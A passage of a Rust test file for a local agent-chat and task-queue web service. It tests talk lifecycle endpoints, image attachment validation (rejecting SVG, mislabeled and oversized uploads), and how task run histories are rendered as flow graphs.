16902        assert_eq!(second.status, 409, "{}", second.body);
16903        let saved = store
16904            .get(&id)
16905            .expect("draft remains after concurrent refusals");
16906        assert!(saved.turns.is_empty());
16907        assert_eq!(saved.pending, "saved before restart");
16908
16909        let resumed = f
16910            .post(&format!("/api/talks/{id}/pending/resume"), None)
16911            .await;
16912        assert_eq!(resumed.status, 202, "{}", resumed.body);
16913        let duplicate = f
16914            .post(&format!("/api/talks/{id}/pending/resume"), None)
16915            .await;
16916        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16917
16918        for _ in 0..SETTLE_STEPS {
16919            if store.get(&id).expect("talk").turns.len() == 2 {
16920                break;
16921            }
16922            tokio::time::sleep(Duration::from_millis(10)).await;
16923        }
16924        let finished = store.get(&id).expect("finished talk");
16925        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16926        assert_eq!(finished.turns[0].body, "saved before restart");
16927        assert!(finished.pending.is_empty());
16928    }
16929
16930    #[tokio::test]
16931    async fn an_image_only_recovered_draft_resumes_without_text() {
16932        let (_tmp, _repo, f) = talk_fixture().await;
16933        let id = f.post("/api/talks", None).await.json()["id"]
16934            .as_str()
16935            .expect("id")
16936            .to_owned();
16937        let uploaded = f
16938            .post_bytes(
16939                &format!("/api/talks/{id}/attachments"),
16940                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16941                PNG_BYTES,
16942            )
16943            .await;
16944        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16945        let attachment = f
16946            .talks()
16947            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16948            .expect("attachment metadata")
16949            .expect("stored attachment");
16950        let store = f.talks();
16951        let mut recovered = store.get(&id).expect("opened talk");
16952        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16953
16954        let resumed = f
16955            .post(&format!("/api/talks/{id}/pending/resume"), None)
16956            .await;
16957        assert_eq!(resumed.status, 202, "{}", resumed.body);
16958        for _ in 0..SETTLE_STEPS {
16959            if store.get(&id).expect("talk").turns.len() == 2 {
16960                break;
16961            }
16962            tokio::time::sleep(Duration::from_millis(10)).await;
16963        }
16964        let finished = store.get(&id).expect("finished talk");
16965        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16966        assert!(finished.turns[0].body.is_empty());
16967        assert_eq!(finished.turns[0].attachments.len(), 1);
16968        assert!(finished.pending_attachments.is_empty());
16969    }
16970
16971    #[tokio::test]
16972    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16973        let (_tmp, _repo, f) = talk_fixture().await;
16974        let id = f.post("/api/talks", None).await.json()["id"]
16975            .as_str()
16976            .expect("id")
16977            .to_owned();
16978        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16979        assert_eq!(closed.status, 200, "{}", closed.body);
16980        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16981            .expect("serialize closed talk");
16982        for (path, body) in [
16983            (format!("/api/talks/{id}/pending/resume"), None),
16984            (
16985                format!("/api/talks/{id}/pending/clear"),
16986                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16987            ),
16988            (
16989                format!("/api/talks/{id}/pending/edit"),
16990                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16991            ),
16992            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16993        ] {
16994            let response = f.post(&path, body).await;
16995            assert_eq!(response.status, 409, "{}", response.body);
16996        }
16997        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16998            .expect("serialize closed talk");
16999        assert_eq!(
17000            after_clear, before_clear,
17001            "clear must not rewrite a closed talk"
17002        );
17003    }
17004
17005    /// Keeps both claims observable long enough to exercise the distinction
17006    /// between one busy talk and a globally locked Chat surface.
17007    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17008
17009    #[tokio::test]
17010    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17011        let tmp = TempDir::new().expect("tempdir");
17012        let repo = tmp.path().join("repo");
17013        std::fs::create_dir_all(&repo).expect("repo dir");
17014        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17015        let f = Fixture::with_repo(repo).await;
17016        let id_a = f.post("/api/talks", None).await.json()["id"]
17017            .as_str()
17018            .unwrap()
17019            .to_owned();
17020        let id_b = f.post("/api/talks", None).await.json()["id"]
17021            .as_str()
17022            .unwrap()
17023            .to_owned();
17024
17025        let a = f
17026            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17027            .await;
17028        assert_eq!(a.status, 202, "{}", a.body);
17029        assert_eq!(a.json()["thinking"], true);
17030        let b = f
17031            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17032            .await;
17033        assert_eq!(b.status, 202, "{}", b.body);
17034        assert_eq!(b.json()["thinking"], true);
17035
17036        let listed = f.get("/api/talks").await.json();
17037        for id in [&id_a, &id_b] {
17038            let view = listed
17039                .as_array()
17040                .unwrap()
17041                .iter()
17042                .find(|talk| talk["id"] == *id)
17043                .unwrap();
17044            assert_eq!(view["thinking"], true, "{listed}");
17045        }
17046        let repeated = f
17047            .post(
17048                &format!("/api/talks/{id_a}/say"),
17049                Some(r#"{"text":"again"}"#),
17050            )
17051            .await;
17052        assert_eq!(repeated.status, 202, "{}", repeated.body);
17053        assert_eq!(repeated.json()["pending"], "again");
17054    }
17055
17056    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17057    /// few more, since real uploads are never exactly eight bytes.
17058    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17059
17060    #[tokio::test]
17061    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17062        let f = Fixture::start().await;
17063        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17064
17065        let res = f
17066            .post_bytes(
17067                &format!("/api/talks/{id}/attachments"),
17068                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17069                PNG_BYTES,
17070            )
17071            .await;
17072        assert_eq!(res.status, 201, "{}", res.body);
17073        let body = res.json();
17074        assert_eq!(body["name"], "shot.png");
17075        assert_eq!(body["mime"], "image/png");
17076        assert_eq!(body["bytes"], PNG_BYTES.len());
17077        let att_id = body["id"].as_str().expect("id").to_owned();
17078        assert_eq!(
17079            att_id.len(),
17080            32,
17081            "the id must never be a client-suppliable path: {att_id}"
17082        );
17083
17084        let got = f
17085            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17086            .await;
17087        assert_eq!(got.status, 200, "{}", got.body);
17088        assert_eq!(got.header("content-type"), Some("image/png"));
17089        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17090        assert_eq!(got.bytes, PNG_BYTES);
17091    }
17092
17093    #[tokio::test]
17094    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17095        let f = Fixture::start().await;
17096        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17097
17098        // SVG can carry a `<script>`, so it is never on the whitelist even
17099        // though it is a real IANA image type.
17100        let svg = f
17101            .post_bytes(
17102                &format!("/api/talks/{id}/attachments"),
17103                &[("Content-Type", "image/svg+xml")],
17104                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17105            )
17106            .await;
17107        assert!(
17108            (400..500).contains(&svg.status),
17109            "svg must be refused: {} {}",
17110            svg.status,
17111            svg.body
17112        );
17113        assert!(svg.body.contains("SVG"), "{}", svg.body);
17114
17115        let text = f
17116            .post_bytes(
17117                &format!("/api/talks/{id}/attachments"),
17118                &[("Content-Type", "text/plain")],
17119                b"just some text",
17120            )
17121            .await;
17122        assert!(
17123            (400..500).contains(&text.status),
17124            "an unlisted type must be refused: {} {}",
17125            text.status,
17126            text.body
17127        );
17128
17129        // The declared type is a real png, but the size check runs before
17130        // the bytes are even looked at.
17131        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17132        let big = f
17133            .post_bytes(
17134                &format!("/api/talks/{id}/attachments"),
17135                &[("Content-Type", "image/png")],
17136                &oversized,
17137            )
17138            .await;
17139        assert_eq!(
17140            big.status,
17141            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17142            "{}",
17143            big.body
17144        );
17145    }
17146
17147    #[tokio::test]
17148    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17149        let f = Fixture::start().await;
17150        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17151
17152        // A whitelisted `Content-Type`, but bytes that are not actually a
17153        // png - the declared header alone is never trusted.
17154        let res = f
17155            .post_bytes(
17156                &format!("/api/talks/{id}/attachments"),
17157                &[("Content-Type", "image/png")],
17158                b"<html>not a picture</html>",
17159            )
17160            .await;
17161        assert!((400..500).contains(&res.status), "{}", res.body);
17162    }
17163
17164    #[tokio::test]
17165    async fn an_unknown_attachment_id_is_a_404() {
17166        let f = Fixture::start().await;
17167        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17168
17169        let res = f
17170            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17171            .await;
17172        assert_eq!(res.status, 404, "{}", res.body);
17173    }
17174
17175    #[tokio::test]
17176    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17177        let f = Fixture::start().await;
17178        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17179
17180        let uploaded = f
17181            .post_bytes(
17182                &format!("/api/talks/{id}/attachments"),
17183                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17184                PNG_BYTES,
17185            )
17186            .await;
17187        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17188        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17189
17190        let res = f
17191            .post(
17192                &format!("/api/talks/{id}/say"),
17193                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17194            )
17195            .await;
17196        assert_eq!(res.status, 202, "{}", res.body);
17197        let queued = res.json();
17198        let turns = queued["turns"].as_array().expect("turns array");
17199        assert_eq!(
17200            turns.len(),
17201            1,
17202            "an empty body with an attachment is still a turn: {queued}"
17203        );
17204        assert_eq!(turns[0]["who"], "operator");
17205        assert_eq!(turns[0]["body"], "");
17206        let atts = turns[0]["attachments"]
17207            .as_array()
17208            .expect("attachments array");
17209        assert_eq!(atts.len(), 1);
17210        assert_eq!(atts[0]["id"], att_id);
17211        assert_eq!(atts[0]["mime"], "image/png");
17212
17213        // Not only in the response: `record` flushes to disk before the
17214        // agent's own turn is even spawned.
17215        let on_disk = f.talks().get(&id).expect("get");
17216        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17217        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17218    }
17219
17220    #[tokio::test]
17221    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17222        let f = Fixture::start().await;
17223        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17224
17225        let res = f
17226            .post(
17227                &format!("/api/talks/{id}/say"),
17228                Some(&format!(
17229                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17230                    "a".repeat(32)
17231                )),
17232            )
17233            .await;
17234        assert!((400..500).contains(&res.status), "{}", res.body);
17235        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17236
17237        let on_disk = f.talks().get(&id).expect("get");
17238        assert!(
17239            on_disk.turns.is_empty(),
17240            "a rejected attachment id must not partially record the turn: {:?}",
17241            on_disk.turns
17242        );
17243    }
17244
17245    #[tokio::test]
17246    async fn talk_close_makes_the_talk_refuse_further_turns() {
17247        let f = Fixture::start().await;
17248        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17249
17250        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17251        assert_eq!(closed.status, 200, "{}", closed.body);
17252        assert_eq!(closed.json()["status"], "closed");
17253
17254        // Idempotent: closing an already-closed talk is not an error.
17255        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17256        assert_eq!(closed_again.status, 200);
17257        assert_eq!(closed_again.json()["status"], "closed");
17258
17259        let said = f
17260            .post(
17261                &format!("/api/talks/{id}/say"),
17262                Some(r#"{"text":"too late"}"#),
17263            )
17264            .await;
17265        assert_eq!(said.status, 409, "{}", said.body);
17266    }
17267
17268    #[tokio::test]
17269    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17270        let f = Fixture::start().await;
17271        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17272        let store = f.talks();
17273        let mut queued = store.get(&id).expect("talk");
17274        for automatic in [false, true] {
17275            if automatic {
17276                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17277                    .expect("queue automatic input");
17278            } else {
17279                talk::queue(&mut queued, &store, "queued send", Vec::new())
17280                    .expect("queue operator input");
17281            }
17282            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17283            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17284            assert_eq!(refused.status, 409, "{}", refused.body);
17285            assert!(refused.body.contains("pending input"), "{}", refused.body);
17286            assert_eq!(
17287                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17288                before,
17289                "a close refusal must preserve the entire record"
17290            );
17291            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17292        }
17293        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17294        assert_eq!(closed.status, 200, "{}", closed.body);
17295        assert_eq!(closed.json()["status"], "closed");
17296    }
17297
17298    #[tokio::test]
17299    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17300        let (_tmp, _repo, f) = talk_fixture().await;
17301        let id = f.post("/api/talks", None).await.json()["id"]
17302            .as_str()
17303            .expect("id")
17304            .to_owned();
17305        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17306        assert_eq!(closed.status, 200, "{}", closed.body);
17307
17308        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17309        assert_eq!(reopened.status, 200, "{}", reopened.body);
17310        assert_eq!(reopened.json()["status"], "open");
17311
17312        // Idempotent: reopening an already-open talk is not an error.
17313        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17314        assert_eq!(reopened_again.status, 200);
17315        assert_eq!(reopened_again.json()["status"], "open");
17316
17317        let said = f
17318            .post(
17319                &format!("/api/talks/{id}/say"),
17320                Some(r#"{"text":"still there?"}"#),
17321            )
17322            .await;
17323        assert_eq!(
17324            said.status, 202,
17325            "a reopened talk accepts turns again: {}",
17326            said.body
17327        );
17328    }
17329
17330    #[tokio::test]
17331    async fn talk_reopen_on_an_unknown_id_is_404() {
17332        let f = Fixture::start().await;
17333        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17334        assert_eq!(res.status, 404, "{}", res.body);
17335    }
17336
17337    #[tokio::test]
17338    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17339        let f = Fixture::start().await;
17340        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17341
17342        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17343        assert_eq!(deleted.status, 204, "{}", deleted.body);
17344
17345        let after = f.get(&format!("/api/talks/{id}")).await;
17346        assert_eq!(after.status, 404, "{}", after.body);
17347
17348        let listed = f.get("/api/talks").await.json();
17349        assert!(
17350            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17351            "a deleted talk must not linger in the list: {listed}"
17352        );
17353    }
17354
17355    #[tokio::test]
17356    async fn talk_delete_on_an_unknown_id_is_404() {
17357        let f = Fixture::start().await;
17358        let res = f.delete("/api/talks/nonexistent-id").await;
17359        assert_eq!(res.status, 404, "{}", res.body);
17360    }
17361
17362    /// A task's page lists every run it ever had, in order, and says what kind
17363    /// of attempt each was - including a resume, which re-pushes the same run
17364    /// id, and a run whose record this build cannot read.
17365    #[tokio::test]
17366    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17367        let f = Fixture::start().await;
17368        let (a, b, gone) = (
17369            "20260902-140501-aaaa",
17370            "20260902-140502-bbbb",
17371            "20260902-140503-cccc",
17372        );
17373        write_run(&f.runs(), a, RunStatus::Stalled);
17374        let mut review = RunState::new(
17375            PathBuf::from("/repo/magi"),
17376            "main".to_owned(),
17377            "0123456789abcdef".to_owned(),
17378            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17379                .to_owned(),
17380            Config::default(),
17381        );
17382        review.id = b.to_owned();
17383        review.status = RunStatus::Merged;
17384        write_state(&f.runs(), &review);
17385
17386        let mut task = Task::new(
17387            "retry".to_owned(),
17388            "Do the thing".to_owned(),
17389            PathBuf::from("/repo/magi"),
17390            Source::Human,
17391        );
17392        task.start(a.to_owned());
17393        task.stall("quota");
17394        task.start(a.to_owned());
17395        task.start(b.to_owned());
17396        task.start(gone.to_owned());
17397        // This fixture models an older queue file with repeated run entries.
17398        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17399        f.queue().put(&mut task).expect("file the task");
17400
17401        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17402        assert_eq!(res.status, 200, "{}", res.body);
17403        let v = res.json();
17404        let h = v["history"].as_array().expect("history");
17405        assert_eq!(h.len(), 4, "{v}");
17406        assert_eq!(h[0]["kind"], "competition");
17407        assert_eq!(h[0]["status"], "stalled");
17408        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17409        assert_eq!(h[1]["kind"], "resume", "{v}");
17410        assert!(
17411            h[0]["outcome"]
17412                .as_str()
17413                .unwrap()
17414                .contains("unknown. Pass #2"),
17415            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17416        );
17417        assert!(
17418            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17419            "{v}"
17420        );
17421        assert!(
17422            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17423            "an unrecorded cause must not be narrated as an operator park: {v}"
17424        );
17425        assert_eq!(h[2]["kind"], "review");
17426        assert!(
17427            h[2]["description"]
17428                .as_str()
17429                .unwrap()
17430                .contains("magi/aaaa/A")
17431        );
17432        assert_eq!(h[2]["status"], "merged");
17433        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17434        assert_eq!(v["runs_unreadable"], 1);
17435        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17436        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17437        assert_eq!(nodes[4]["note"], "unreadable");
17438        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17439        assert_eq!(v["instruction"], "Do the thing");
17440        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17441
17442        // The run's own page links back to the task.
17443        let run = f.get(&format!("/api/runs/{a}")).await.json();
17444        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17445
17446        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17447    }
17448
17449    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17450        let mut s = RunState::new(
17451            PathBuf::from("/repo/magi"),
17452            "main".to_owned(),
17453            "0123456789abcdef".to_owned(),
17454            "Do it".to_owned(),
17455            Config::default(),
17456        );
17457        s.status = status;
17458        edit(&mut s);
17459        s
17460    }
17461
17462    fn flow_task(runs: &[&str]) -> Task {
17463        let mut t = Task::new(
17464            "t".to_owned(),
17465            "Do it".to_owned(),
17466            PathBuf::from("/repo/magi"),
17467            Source::Human,
17468        );
17469        for r in runs {
17470            t.start((*r).to_owned());
17471        }
17472        // Synthetic flows without RunPass records model legacy queue data.
17473        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17474        t
17475    }
17476
17477    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17478        let h = task_history(task, |id| {
17479            states
17480                .iter()
17481                .find(|(i, _)| *i == id)
17482                .and_then(|(_, s)| s.clone())
17483        });
17484        task_flow(task, &h, 5, None)
17485    }
17486
17487    #[test]
17488    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17489        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17490        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17491        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17492        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17493        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17494        let run = flow_run(RunStatus::Implementing, |s| {
17495            s.created_at = created;
17496            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17497            s.passes[0].started_at = first;
17498            s.passes[1].started_at = resumed;
17499        });
17500        let mut task = flow_task(&[RUN_X, RUN_X]);
17501        task.created_at = queued;
17502        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17503        task.status = TaskStatus::Held;
17504        task.held_at = Some(held);
17505        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17506        assert_eq!(
17507            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17508            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17509        );
17510        assert!(flow.nodes.iter().all(|n| n.time_expected));
17511        let json = serde_json::to_value(&flow).unwrap();
17512        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17513        assert_eq!(json["nodes"][2]["time_expected"], true);
17514    }
17515
17516    #[test]
17517    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17518        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17519        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17520        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17521        // These timestamps are not the start of the current status.
17522        task.held_at = Some(created);
17523        task.blocked_at = Some(created);
17524        for status in [
17525            TaskStatus::Queued,
17526            TaskStatus::Running,
17527            TaskStatus::Blocked,
17528            TaskStatus::Done,
17529            TaskStatus::Failed,
17530            TaskStatus::Parked,
17531            TaskStatus::Held,
17532        ] {
17533            task.status = status;
17534            if status == TaskStatus::Held {
17535                task.held_at = None;
17536            }
17537            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17538            assert_eq!(flow.nodes[1].started_at, Some(created));
17539            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17540            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17541            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17542            let json = serde_json::to_value(&flow).unwrap();
17543            assert!(json["nodes"][3]["started_at"].is_null());
17544            assert_eq!(json["nodes"][3]["time_expected"], true);
17545        }
17546    }
17547
17548    #[test]
17549    fn flow_context_links_do_not_expect_start_times() {
17550        let mut task = flow_task(&[]);
17551        task.source = Source::Agent {
17552            run: "chat-id".to_owned(),
17553            node: "chat".to_owned(),
17554        };
17555        let origin = followup_origin(&fu(None), |_| None, |_| None);
17556        let flow = task_flow(&task, &[], 5, Some(&origin));
17557        for node in &flow.nodes[..2] {
17558            assert!(!node.time_expected);
17559            assert_eq!(node.started_at, None);
17560        }
17561        assert!(flow.nodes[2].time_expected);
17562    }
17563
17564    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17565        crate::queue::FollowUp {
17566            run: "20260901-000000-aaaa".to_owned(),
17567            origin_task: origin_task.map(str::to_owned),
17568            pr: "https://example.com/o/r/pull/1".to_owned(),
17569            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17570                .map(str::to_owned)
17571                .to_vec(),
17572            generation: 1,
17573        }
17574    }
17575
17576    fn parent_task() -> Task {
17577        let mut p = flow_task(&[]);
17578        p.title = "Parent title".to_owned();
17579        p.status = TaskStatus::Done;
17580        p
17581    }
17582
17583    #[test]
17584    fn flow_opens_with_the_parent_task_of_a_followup() {
17585        let p = parent_task();
17586        let pid = p.id.clone();
17587        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17588        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17589        let n = &f.nodes[0];
17590        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17591        assert_eq!(
17592            n.label,
17593            format!("Follow-up of {}", crate::queue::short(&pid))
17594        );
17595        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17596        assert_eq!(n.status, Some("done"));
17597        assert_eq!(n.status_of, "task");
17598        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17599        assert_eq!(f.nodes[1].key, "start");
17600        assert_eq!(f.edges[0].from, "origin");
17601        assert_eq!(
17602            f.edges[0].label,
17603            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17604        );
17605    }
17606
17607    #[test]
17608    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17609        let o = followup_origin(
17610            &fu(Some("gone")),
17611            |_| None,
17612            |_| {
17613                Some(RunState::new(
17614                    std::path::PathBuf::from("."),
17615                    "main".to_owned(),
17616                    "0".to_owned(),
17617                    "t".to_owned(),
17618                    crate::config::Config::default(),
17619                ))
17620            },
17621        );
17622        assert!(o.parent.is_none());
17623        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17624        let n = &f.nodes[0];
17625        assert_eq!(n.status_of, "run");
17626        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17627        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17628    }
17629
17630    #[test]
17631    fn flow_followup_with_nothing_readable_has_no_link() {
17632        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17633        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17634        let n = &f.nodes[0];
17635        assert_eq!(n.href, None);
17636        assert_eq!(n.note, Some("unreadable"));
17637        assert!(!n.readable);
17638    }
17639
17640    #[test]
17641    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17642        let o = followup_origin(&fu(None), |_| None, |_| None);
17643        let mut t = flow_task(&[]);
17644        t.origin_chat = Some("c1".to_owned());
17645        let f = task_flow(&t, &[], 5, Some(&o));
17646        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17647        t.source = Source::Agent {
17648            run: "c1".to_owned(),
17649            node: crate::queue::CHAT_NODE.to_owned(),
17650        };
17651        let f = task_flow(&t, &[], 5, Some(&o));
17652        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17653        assert_eq!(
17654            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17655            ("chat", "origin")
17656        );
17657    }
17658
17659    #[test]
17660    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17661        let mut p = parent_task();
17662        p.id = "a b/c".to_owned();
17663        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17664        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17665    }
17666
17667    #[test]
17668    fn flow_opens_with_the_chat_that_queued_the_task() {
17669        let mut t = flow_task(&[]);
17670        t.source = Source::Agent {
17671            run: "a b/c".to_owned(),
17672            node: crate::queue::CHAT_NODE.to_owned(),
17673        };
17674        let f = flow_for(&t, &[]);
17675        assert_eq!(f.nodes[0].key, "chat");
17676        assert_eq!(f.nodes[0].kind, "chat");
17677        assert_eq!(
17678            f.nodes[0].label,
17679            format!("Chat {}", crate::queue::short("a b/c"))
17680        );
17681        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17682        assert_eq!(f.nodes[1].key, "start");
17683        assert_eq!(
17684            f.edges[0],
17685            FlowEdge {
17686                from: "chat".to_owned(),
17687                to: "start".to_owned(),
17688                label: "queued from chat".to_owned(),
17689                attempt: AttemptCost::None,
17690            }
17691        );
17692    }
17693
17694    #[test]
17695    fn flow_has_no_chat_box_for_other_sources() {
17696        for source in [
17697            Source::Human,
17698            Source::Issue {
17699                number: 3,
17700                repo: "o/r".to_owned(),
17701            },
17702            Source::Agent {
17703                run: "20260904-014455-ab12".to_owned(),
17704                node: "implement".to_owned(),
17705            },
17706        ] {
17707            let mut t = flow_task(&[]);
17708            t.source = source;
17709            let f = flow_for(&t, &[]);
17710            assert_eq!(f.nodes[0].key, "start");
17711            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17712            assert!(f.edges.iter().all(|e| e.from != "chat"));
17713        }
17714    }
17715
17716    const FA: &str = "20260902-140501-aaaa";
17717    const FB: &str = "20260902-140502-bbbb";
17718
17719    #[test]
17720    fn flow_follows_blocked_retry_merged_to_done() {
17721        let mut t = flow_task(&[FA, FB]);
17722        t.status = TaskStatus::Done;
17723        let f = flow_for(
17724            &t,
17725            &[
17726                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17727                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17728            ],
17729        );
17730        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17731        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17732        assert_eq!(f.edges.len(), 3);
17733        assert_eq!(f.edges[0].label, "claimed");
17734        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17735        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17736        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17737        assert_eq!(
17738            f.nodes[2].href.as_deref(),
17739            Some("#/runs/20260902-140502-bbbb")
17740        );
17741        assert!(f.nodes[2].decided);
17742    }
17743
17744    #[test]
17745    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17746        let quota = || {
17747            flow_run(RunStatus::Stalled, |s| {
17748                s.quota.push(crate::run::QuotaLoss {
17749                    cause: crate::agent::QuotaCause::UsageLimit,
17750                    agent: String::new(),
17751                    seat: "judge-1".to_owned(),
17752                    node: "judge".to_owned(),
17753                    at: Timestamp::now(),
17754                    reset: None,
17755                })
17756            })
17757        };
